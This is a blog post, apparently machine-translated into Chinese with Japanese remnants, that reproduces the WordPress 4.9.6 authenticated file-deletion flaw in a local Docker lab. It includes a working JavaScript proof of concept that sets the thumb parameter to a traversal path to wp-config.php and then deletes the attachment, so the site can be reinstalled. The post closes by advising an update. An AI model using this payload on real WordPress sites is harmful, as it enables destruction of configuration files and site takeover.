我尝试再现了WordPress 4.9.6的漏洞

警告:WordPress 文件删除导致代码执行
有一个视频解释这个问题。

一种可能的改写是:
当执行编辑附件操作时,缩略图参数是由用户输入的,但是由于没有经过检查并与ID关联,所以只要将它们关联起来,就可以利用WordPress应用程序的权限来任意删除,例如删除wp-config.php文件,从而初始化WordPress。
登录时,具有发布者权限及以上的用户可能成为攻击者。

环境建设

根据 Docker Hub 上 WordPress 的参考,创建一个 docker-compose.yml 文件。

    https://hub.docker.com/_/wordpress/
version: '3.1'

services:

  wordpress:
    image: wordpress:4.9.6
    ports:
      - 9000:80
    environment:
      WORDPRESS_DB_PASSWORD: パスワード

  mysql:
    image: mysql:5.7
    environment:
      MYSQL_ROOT_PASSWORD: パスワード

启动

docker-compose up
    1. 在浏览器中,访问localhost:9000,安装WordPress

 

    1. 安装完成后,添加一个新的具有投稿者权限的用户

 

    用添加的投稿者权限用户登录
スクリーンショット 2018-07-12 16.53.30.png

确认再次出现

    • PoCは、exploit-dbにあったものを少し変更して拝借

WordPress < 4.9.6 – (Authenticated) Arbitrary File Deletion

通过媒体进行新加入,添加图像(在此时,上传不包含日语文件名的文件)。

スクリーンショット 2018-07-12 16.54.15.png
スクリーンショット 2018-07-12 16.58.34.png
var nonce = document.getElementById("_wpnonce").value
var id =  document.location.search.match(/post=(\d+)/)[1]
var data = "action=editattachment&_wpnonce=" + nonce + "&thumb=../../../../wp-config.php"

var xhr = new XMLHttpRequest()
xhr.open("POST", "/wp-admin/post.php?post=" + id)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.onreadystatechange = function() {
  var READYSTATE_COMPLETED = 4

  if (this.readyState == READYSTATE_COMPLETED) {
   var nonce = document.getElementsByClassName("submitdelete deletion")[0].getAttribute("href").match(/_wpnonce=(.*)/)[1]
   var data = "action=delete&_wpnonce=" + nonce

   var xhr = new XMLHttpRequest()
   xhr.open("POST", "/wp-admin/post.php?post=" + id)
   xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
   xhr.send(data)
  }
}
xhr.send(data)
スクリーンショット 2018-07-12 17.06.04.png

上传不包含日语文件名的文件事项

这次是因为构建环境的原因,删除文件后会出现奇怪的状态,但却无法删除wp-config.php文件,导致陷入困境。

奇怪的状态。

スクリーンショット 2018-07-12 16.56.54.png

結果

虽然可以轻松地进行初始化,但必须以高于发布者权限的身份登录,这取决于课程体系,但似乎不是什么威胁。不过,只要进行更新就能解决问题,一定要进行更新。